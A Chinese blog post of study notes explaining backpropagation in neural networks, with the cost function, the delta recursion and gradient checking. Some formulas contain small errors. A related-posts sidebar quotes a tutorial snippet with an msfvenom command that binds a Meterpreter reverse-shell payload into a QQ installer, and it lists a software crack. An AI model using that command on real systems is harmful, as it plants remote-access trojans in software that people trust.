【成长笔记】反向传播算法

十三、机器学习进阶知识:神经网络之反向传播算法(梯度、误差反向传播算法BP) 本文主要介绍了神经网络的反向传播过程原理,同时对最常见的误差反向传播算法的原理及实现过程进行说明,通俗易懂,适合新手学习,附源码及实验数据集。 阅读详情

上一篇文章中讲到了神经网络,通俗地说,就是一堆源数据X(第一层),经过一个空间的线性变换后,再被激活函数处理这个变换,变身成为隐层(下一层),然后得到的新的数据作为这一层的输出,重复上一层的方法,又得到下一层,就像神经一个节点一个节点传播信息一样,数据一层一层地变换,到最后一层输出时,再进行分类得到结果。下面这张图更加直观,当然这个只是四层:

而像以上的过程,我们称之为正向传播。

那么,我们可能会思考,这么传播下去,如果中间存在误差,误差会不会一层一层地被放大,以至于最后一层的分类效果十分不理想呢?

换句话说,根据我们前面学习的线性回归和逻辑回归的知识,这个误差error可以由cost来表示,通过梯度下降法或者正规方程法可以得到满足要求的误差(近似认为正确)。我们可以想象,神经网络的初始参数 \Theta (类似之前线性回归中的 \theta ,只不过 \Theta 是 \theta 的集合),我们不可能一开始就刚好设置得到了一个优秀的 \Theta ,一开始的误差大概率是大的,所以,有木有类似梯度下降法的方法可以调整参数 \Theta 呢?直至 \Theta 使得整个训练模型的误差降低到一个微小范围内,我们就认为这个模型就是好的了。

所以,个人简单的理解,机器学习的训练过程,其实就是训练出一个优秀的参数 \Theta ,这样,新的数据集进来,通过这些 \Theta 的变换,就可以得到结果了(与真实值类似的结果)。

好的,所以不卖关子了,就如同标题所说,神经网络如何训练出优秀的参数 \Theta 呢?当然是Backpropagation Algorithm(反向传播算法)。

话不多说,Let's go!

----------------我是萌萌的分割线-------------------

之前的文章中我们看到了二元分类,简单地利用逻辑回归,分类成0和1,后来又讲到如果是多分类,譬如四类分类,我们可以将四种类型这样表现:

y^{(i)} = \left[ \begin{array}{ccc} 1 \\ 0 \\ 0\\0 \end{array} \right], \left[ \begin{array}{ccc} 0 \\ 1 \\ 0\\0 \end{array} \right], \left[ \begin{array}{ccc} 0 \\ 0 \\ 1\\0 \end{array} \right], \left[ \begin{array}{ccc} 0 \\ 0 \\ 0\\1\end{array} \right]

如果不理解的话,可以将它看成是1,2,3,4。以此类推,如果有更多分类,那就继续扩展,简单地说,分类的标签不再是0,1,2,3,4等数字了,而是用一个向量表示。所以,我们这个时候,再定义一个变量K, y\in R^{K} 。K表示有K个输出。

所以,按照我们前面所学,我们依然要得到它的代价函数,之前是二分类,只需要计算一个y就可以了,现在因为是多分类,有K个y而且每个y都是一个向量,相当于多了一个维度K。

前面二分类时,逻辑回归的代价函数是长这个样子的:

J(\theta)=-\frac{1}{m}[\sum_{i=1}^{m}(y^{(i)}log(h_{\theta}(x^{(i)}))+(1-y^{(i)})log(1-h_\theta(x^{(i)}))]+\frac{\lambda}{2m} \sum_{j=1}^{n}{\theta_j^2} )

类推到多分类:

J_{\theta}=-\frac{1}{m}(\sum_{i=1}^{m}\sum_{k=1}^{K}(y_k^{(i)}log(h_\theta(x^{(i)}))_k+(1-y_k^{(i)})log(1-h_\theta(x^{(i)}))_k+\frac{\lambda}{2m} \sum_{l=1}^{L-1}\sum_{i=1}^{sl}\sum_{j=1}^{sl+1}({\Theta_{l,j}^{(l)}} )^2

所以,代价函数我们得到了,那么怎么可以做到更新新的 \Theta 呢?之前我们用梯度下降法去实现的,在这儿,我们用的是反向传播算法。要理解反向传播,那么你肯定会想,是不是还有一个正向传播呢?

是的,上一篇文章中,我们神经网络的构建利用的就是正向传播,它实现了这么一个过程:

\left[ \begin{array}{ccc} x_{0} \\ x_{1} \\ x_{2}\\...\\x_{n} \end{array} \right]\rightarrow \left[ \begin{array}{ccc} a_{0}^{(2)}\\a_{1} ^{(2)} \\ a_{2} ^{(2)}\\a_{3}^{(2)}\\... \end{array} \right] \rightarrow \left[ \begin{array}{ccc} a_{0}^{(3)}\\a_{1} ^{(3)} \\ a_{2} ^{(3)}\\a_{3}^{(3)}\\... \end{array} \right] \rightarrow...\rightarrow \left[ \begin{array}{ccc} h_{\Theta}(x)_{1}\\h_{\Theta}(x)_{2}\\h_{\Theta}(x)_{3}\\h_{\Theta}(x)_{4}\end{array} \right]

再细致地说,用数学语言描绘是这样子的:

a^{(1)}=x

z^{(2)}=\Theta^{(1)}a^{(1)}

a^{(2)}=g(z^{(2)})+a_0^{(2)} (a_0^{(2)}一般设为1,代表bias) 

z^{(3)}=\Theta^{(2)}a^{(2)}

a^{(3)}=g(z^{(3)})+a_0^{(3)} (类似a_0^{(2)})

z^{(4)}=\Theta^{(3)}a^{(3)}

a^{(4)}=h_{\Theta}(x) = g(z^{(4)})

一层变换一层变换地往前传播,第i层的计算都是基于i-1层的输出得到的,这就是前向传播。那么反向传播呢?顾名思义,就是由后往前推,一层一层推到前面来。

或者,因为神经网络有很多层,我们在前文思考过,如果有误差,那么误差应该也会一层层地传递下来,像之前的梯度下降法,就是找到误差,然后直接调整参数。那么神经网络这么多层,反向传播,是不是意味着,也是找到每一层的误差,然后去调整这一层的参数呢?

答案是肯定的,这里我们再设定一个变量 \delta 。 \delta_j^{(l)} 代表第 l 层第 j 个节点的error偏差。

所以,我们现在反向来推下,就以上文的四层结果来:

\delta_j^{(4)} = a^{(4)} - y_j

\delta^{(3)} = (\Theta^{(3)})^T\delta^{(4)} .*g^{'}(z^{(3)}) 其中 g^{'}(z^{(3)}) = a^{(3)} .*(1-a^{(3)})

\delta^{(2)} = (\Theta^{(2)})^T\delta^{(3)} .*g^{'}(z^{(2)}) 其中  g^{'}(z^{(2)})=a^{(2)} .*(1-a^{(2)})

第一层因为是输入的原数据,所以无需去计算偏差。

我们要利用这个去获得 \frac{\partial}{\partial\Theta_{i,j}^{(l)}}J(\Theta) 。

\frac{\partial}{\partial\Theta_{i,j}^{(l)}}J(\Theta) = a_j^{(l)}\delta_i^{(l+1)} ,假设没有 \lambda ,或者说 \lambda=0 。

所以,我们再定义一个变量 \Delta ,它是 \delta 的大写形式,这个 \Delta 会用来累加以便计算出 \frac{\partial}{\partial\Theta_{i,j}^{(l)}}J(\Theta) (因为以上的过程只是一次反向传播的过程的变量,在为得到满意的结果前,我们会不断地重复正向传播,反向传播,而 \Delta 就是记录每一次之后的真实误差)。我们初始化 \Delta_{i,j}^{(l)} = 0 ,然后计算出偏差:\Delta_{i,j}^{(l)}=\Delta_{i,j}^{(l)}+a_j^{(l)}*\delta ^{(l+1)}。 ,写成向量的形式是: \Delta^{(l)} = \Delta^{(l)} + \delta^{(l+1)}(a^{(l)})^T 。 

我们重新再来整理下思路:

我们的目标是为了最小化代价函数:min_\Theta J(\Theta) ,假设目前我们的数据集有m个: \left\{ (x^{(1)},y^{(1)})...(x^{(m)},y^{(m)}) \right\} 。

1. 设 \Delta_{i,j}^{(l)} = 0

2. 一个for循环,t = 1 to m:

2.1  a^{(1)} = x^{(t)}

2.2 按照前文,前向传播,依次得到 a^{(l)} ( l = 1,2,3,...,L )

2.3 根据 y^{(t)} ,计算出 \delta^{(t)} = a^{(L)}-y^{(t)}

2.4 反向传播,分别计算出 \delta^{(L-1)},\delta^{(L-2)},...,\delta^{(2)} 。

2.5 利用 \Delta_{i,j}^{(l)} 来累积偏导数项, \Delta_{i,j}^{(l)} = \Delta_{i,j}^{(l)} + a_j^{(l)}\delta_{i}^{(l+1)}

3. 离开for循环, D_{i,j}^{(l)} = \frac{1}{m}\Delta_{i,j}^{(l)} + \lambda\Theta_{i,j}^{(l)} (当 j\ne0 ), D_{i,j}^{(l)} = \frac{1}{m}\Delta_{i,j}^{(l)} (当 j = 0 ),这其实就是利用了之前所学,使用了正则化,因为当 j=0 的时候对应的是bias,所以不需要写入惩罚项。而,其实 \frac{\partial}{\partial\Theta_{i,j}^{(l)}}J(\Theta) = D_{i,j}^{(l)} 。

下面就可以利用梯度下降法等方法去调整 \Theta 了。

至此,神经网络的流程基本完成。 

此外,ng在课程中还讲了一个概念——梯度检验。 什么意思呢?就是文字表面的意思,我们算出了一个梯度,但是如何证明它是好的,所以需要去检验它。额,说得有些废话。给我的理解类似我们小时候学数学的时候,再解一个算数时,举个栗子,8*9 = 72,如何证明72是正确的,我这么来检验,8*10-8,看看结果是不是一样的。额,感觉这个例子不形象,但是小时候的我们却是学过验算方面的知识,可惜年代久远,我也一时半会儿想不起来了。

那么,梯度检验是怎么检验的呢?用的是数学的方法,如下公式:

\frac{\partial}{\partial\theta_{i}}J(\theta) \approx \frac{J(\theta+\xi )-J(\theta-\xi )}{2\xi },这个 \varepsilon 很小。如果你学过微积分的话,会对这个有有莫名的熟悉感,没错,当 \varepsilon\rightarrow0 时,这不就是数学中导数的定义吗?

所以我们计算出来的和这个公式算出来的只要约等于就可以理解为正确( 在\varepsilon 范围内)。当然了,这种数学计算需要消耗的计算机计算资源太大,在编写程序时,检验通过后一定要及时关闭。

---------------我是萌萌的分割线---------------------

神经网络这一节学得挺费劲的,我也不知道我是否表述清楚了,感觉我还要花时间多去巩固一番,写得不好,接受广大朋友们指正批评。共勉!

人工智能基础笔记 人工智能:机器模拟人的意识和思维。机器学习:机器学习是一种统计学方法,计算机利用已有数据得出某种模型,再利用这个模型预测结果。特点:随经验的增加,效果会变好。机器学习三要素:数据,算法,算力深度学习:深层次神经网络,源于对生物神经元结构的研究人脑神经网络:随着人的成长,脑神经网络是在渐渐变粗变壮。人工智能->机器学习->深度学习庞大的神经网络是基于神经元结构的,是输入乘以权重,再求和,... 阅读详情

相关推荐

从‘愚昧之山’到‘开悟之坡’:达克效应如何重塑个人成长路径

本文探讨了达克效应如何影响个人成长路径,从‘愚昧之山’的盲目自信到‘开悟之坡’的理性认知。通过分析新手膨胀期、绝望之谷和开悟之坡三个阶段,提供了实用的成长策略,如刻意练习和元认知训练,帮助读者实现持续进步和认知升级。

weixin_42561040的博客 378

神经网络算法——反向传播 Back Propagation

本文将从反向传播的本质、反向传播的原理、反向传播的案例三个方面,详细介绍反向传播(Back Propagation)。

不要给自己设限,尝试更多可能(思所向 皆可往) 2万+

tcmalloc(高并发内存池)简化版讲解-项目

高清发不上去,私我发高清,项目完整代码@我。

2201_75352618的博客 910

反向传播算法详细计算过程与结论公式

计算过程现在我们有这样一个神经网络: 输入层有两个神经元i1和i2,隐藏层有两个神经元h1和h2,偏差都为b1,输出层有两个神经元o1和o2,偏差都为b2,权重为w 神经元的输入经过激活函数转变为输出,即带权输入net经过激活函数转变为输出激活值out,如图所示: 现在一步一步进行计算前向传播输入层 -> 隐藏层 计算隐藏层神经元h1与h2的带权输入: neth1=ω1∗i1+ω2∗

baozi__的博客 1万+

STM32L452与FPGA通信翻车?手把手教你关闭I2C时钟延展避坑(附OVR错误解决方案)

本文深入解析STM32L452与FPGA在I2C通信中因时钟延展功能导致的常见问题,提供关闭I2C时钟延展的详细配置方法(NOSTRETCH模式),并针对可能出现的OVR错误给出Combined模式解决方案。通过实战案例和波形分析,帮助工程师快速排查和解决嵌入式系统中的I2C兼容性问题。

e3f4g5的博客 215

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

【深度学习】神经网络基础:反向传播算法

作者:Simona IvanovaAI/ML 专家就职于 Science 杂志 导读反向传播(Backpropagation,简称 BP)是目前用来训练人工神经网络(Artificia...

fengdu78的博客 1万+

一文搞定学术英语写作 (斯坦福SCI论文写作课程笔记)

0.前言: 本文基于斯坦福Kristin Sainani 教授的学术论文写作公开课——SCI论文写作(Writing in the Sciences)。在此基础上进行章节顺序的重排及部分内容的删减,以方便第一次进行英语学术论文写作的同学快速上手。 时间充足和想要系统学习英文学术写作的同学,十分建议观看完整课程视频,一定会受益匪浅!课程地址如下: 课程B站地址:https://www.bilibili.com/video/BV1zv41177JQ 1.论...

Ogmx的博客 3万+

详解反向传播(BP)算法

一文详解反向传播算法公式推导以及pytorch实现

PiggyRuns的博客 5197

JLink版本不兼容?手把手教你解决APM32F003F6P6在Keil中烧写闪退和报错

本文详细解析了APM32F003F6P6在Keil中烧写闪退和报错的解决方案,重点介绍了JLink版本兼容性问题。通过实测不同版本组合,推荐使用JLink 7.20a或6.86b与Keil 5.25的黄金组合,并提供详细的降级驱动和工程配置步骤,帮助开发者高效解决烧写困境。

weixin_33694620的博客 416

AutoSAR系列讲解(实践篇)7.3-AppL在Dev中的配置(下)

接着讲解Dev中剩下的几个定义项

雪云飞星的博客 1万+

吴恩达机器学习笔记——参数的反向传播算法与神经网络的整体实现

是对应网易云课程吴恩达机器学习第十章的笔记。 在这一章,我们想要学习一个给定训练集,确定神经网络参数的算法。 首先我们先从确定参数的代价函数说起。 代价函数 相关参数:L:神经网络的层数  :第j层神经网络的神经元数目,不包括偏置。:输出神经元的数目。 二分类输出层设置一个神经元即可。K>=3时,我们输出的将是一个K维向量,输出神经元数目也为K。 由逻辑回归得到的多层神经网络的代...

欢迎光临我的QQ空间 730

论文必备 - 绘制YOLOv8模型在训练过程中,精准率,召回率,mAP_0.5,mAP_0.5:0.95,以及各种损失的变化曲线

文件是模型在训练过程中,实时记录训练的结果,和当时控制台输出的信息一致。当然还包含一些验证损失,学习率变化等数据。epoch:记录训练的轮次,总轮次为训练文件中设置的epochs大小。:边界框损失。在训练过程中,此值逐渐变小,越小表示模型预测的边界框与真实边界框之间的差异越小。:分类损失。在训练过程中,此值逐渐变小,越小表示模型对目标类别的预测越准确。:分布焦点损失。将边界框的回归问题转化为对边界框四个边的分布预测问题,越小表示预测越准确。:精确率也称为查准率。

Limiiiing的博客 1407

神经网络MLP求解过程 正向传播 反向传播算法

转载自:https://www.jianshu.com/p/c69cd43c537a 引言 机器学习栏目记录我在学习Machine Learning过程的一些心得笔记,涵盖线性回归、逻辑回归、Softmax回归、神经网络和SVM等等,主要学习资料来自Standford Andrew Ng老师在Coursera的教程以及UFLDL Tutorial,同时也参考了大量网上的相关资料(在后面列出)。 本文主要记录我在学习神经网络过程中的心得笔记,共分为三个部分: Neural network - Repr

dfly_zx的博客 3537

Qt软件开发-Qt编译zlib完成文件压缩解压(win10)

在软件开发中进行有需求需要将生成的一些文件打包上传到服务器,或者从服务器下载压缩包下来内部解压。或者自己做一些打包工具,那么使用zlib开源就可以很方便的完成。接下来介绍在zlib在windows下如何利用Qt进行编译,调用,介绍mingw、msvc,32/64位编译办法,完成zip文件打包生成例子。可以单文件压缩打包,多文件压缩打包,目录压缩打包等等。

2217

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

献给自己技术成长的第六年

2025年是充满挑战与收获的一年。在技术方面,从零开始系统学习AI基础理论,同时掌握Python、PyTorch等工具,并深入研究热门技术;Java领域则突破瓶颈,探索分布式数据库、Spring WebFlux等技术,但算法仍是短板。工作中,两次从零接手复杂业务,完成艰难梳理工作。此外还尝试副业,组织就业辅导团队,意外提升了自身能力。最终获得代码规范认证、晋升机会、技术分享认可和团队优秀奖,虽疲惫但成就感满满。将持续学习与输出,保持成长步伐。

持续Java学习中 1361

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

程序员的成功观与成长路径:从技术基础到职业选择

在程序员的职业生涯中,成功的定义往往被薪资和职级绑架,但真正的成长源于解决复杂问题的能力与可复用的经验。技术基础(如数据结构、操作系统、网络)是长期竞争力的根基,而框架与热门技术会随时间更迭。理解业务、提升沟通能力,则是从执行者走向技术决策者的关键。面对程序员外包、程序员转行等现实话题,关键在于理性评估成长环境与市场价值,避免路径依赖。面试准备、笔记沉淀和持续输出技术影响力,都是构建个人品牌的复利资产。最终,回归长期主义——关注身体健康、心态管理与高质量社群,才能让职业之路走得更稳更远。

weixin_30983353的博客 261

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

深度学习经典教材啃书笔记:从数学基础到反向传播

深度学习作为人工智能的核心技术,其知识体系庞大且门槛较高。许多初学者从视频教程或实战项目入手,虽能快速跑通示例,却难以深入理解模型背后的数学原理与训练机制。本文将围绕经典教材的系统性学习路径,探讨如何从线性代数、概率论等基础数学概念切入,逐步构建对神经网络结构、激活函数选择以及反向传播算法的直观认知。通过手写代码实现两层网络解决异或问题,可以清晰展示梯度计算与参数更新的全过程,揭示学习率和权重初始化对训练收敛的关键影响。在此基础上,文章还总结了训练不收敛时的排查思路与笔记复盘方法,帮助读者建立从理论到实践的

weixin_29055699的博客 284

都2024年了,不会还有人连深度学习还不了解吧(八)-- 优化算法篇

神经网络的学习的目的是找到使损失函数的值尽可能小的参数。,可以说没有这些优化算法,CNN是无法工作的,巧妇难为无米之炊,如果说数据是CNN的米,那么优化算法可以说是CNN的厨具了。为此,科学家以梯度为线索,使用参数的梯度,沿着梯度的方向更新参数,并重复这个步骤多次,从而逐渐靠近最优解,以上的这个过程被称为随机梯度下降法,也就是大家所熟知的SGD。众所周知,入门深度学习需要一定的数学基础,需要掌握的数学知识并不多,想要入坑的小萌新不必担心,这些知识也是高等数学这门课上必学的知识点,在这里简单介绍一下!

2401_84412411的博客 2115

AI算法工程师成长路径:从数据清洗到大模型微调的端到端实战

AI算法本质上不是纯理论学科,而是一门以业务问题为起点、以可验证闭环为单位的工程实践。理解数据分布、掌握特征工程、熟悉模型调试逻辑,是构建可靠AI系统的基础能力;而大模型应用必须建立在对Tokenizer、Attention Mask、LoRA等底层组件的实操认知之上。本文聚焦‘最小可行闭环(MVC)’方法论,覆盖数据清洗、传统机器学习建模、轻量级BERT微调与FastAPI部署等关键环节,强调从真实电商客服意图识别项目出发,解决缺失值处理、类别不均衡、CUDA显存溢出、推理延迟超标等高频工程问题,帮助学习

weixin_29178069的博客 105

深度学习-BP反向传播

https://juejin.im/post/5c13b00d518825314143675c#heading-6 笔记45页

qq_16236875的博客 89

算法工程师面试笔记

本文主要记录了这一个月以来各种面试的心得体会,欢迎各位大佬浏览评论~

Ricarvy.的博客 1997

【成长笔记】神经网络

终于遇到了“神经网络”这尊大神了,瑟瑟发抖,瑟瑟发抖…… 老早就听说了神经网络的大名了,听说有深度神经网络,反向传播神经网络,卷积神经网络等等。这些神经网络之间的关系究竟是什么呢?哈哈,以后告诉你们,因为目前我也只是一知半解。 ng在第四周的课程上,为我们启蒙了神经网络——Neural Network。神经网络的历史老悠久了,可能是因为它需要的计算资源过于强大,以上世纪的计算机计算水平难以实现

portfloat的博客 331

AI学习笔记:系统化记录与高效知识管理实践

在人工智能和深度学习领域,系统化的学习笔记是掌握核心概念的关键工具。从基础的线性代数、概率统计到前沿的Transformer架构,学习笔记通过结构化记录数学原理、算法实现和调试经验,构建完整的知识体系。使用Markdown、Jupyter Notebook等工具可以实现代码与理论的有机结合,而计算图可视化和梯度检查等技术则能深化对反向传播等复杂概念的理解。在工程实践中,记录CNN的im2col优化、Transformer的位置编码等实现细节,能有效避免常见陷阱。通过三遍阅读法和论文笔记模板,可以高效吸收前沿

weixin_29061531的博客 478

「AI学习笔记」深度学习的起源与发展:从神经网络到大数据(二)

深度学习(DL)是现代人工智能(AI)的核心之一,但它并不是一夜之间出现的技术。从最初的理论提出到如今的广泛应用,深度学习经历了几乎一个世纪的不断探索与发展。今天,我们一起回顾深度学习的历史,看看它如何从简单的神经网络起步,一步步发展成今天改变世界的技术。1. 神经网络的诞生:从“模仿大脑”开始深度学习的起点可以追溯到20世纪40年代。当时,沃伦·麦卡洛克(Warren S. McCulloch)...

前端达人 1730

计算机视觉算法工程师技术成长完整指南:从零到精通的7步实战手册

计算机视觉算法工程师是当今人工智能领域最炙手可热的职位之一。随着自动驾驶、智能安防、医疗影像分析等应用的快速发展,掌握计算机视觉技术已成为技术从业者的核心竞争力。本指南将为你提供一条清晰的技术成长路径,帮助你系统性地构建计算机视觉知识体系,从入门到精通,最终成为行业专家。 ## 一、构建完整技能树:计算机视觉工程师能力地图 成为一名优秀的计算机视觉算法工程师,需要构建完整的知识体系。这个体系就

gitblog_00603的博客 525
上一篇: 【成长笔记】神经网络
下一篇: 【成长笔记】如何评价模型
portfloat
博客等级 码龄10年 16粉丝 7原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值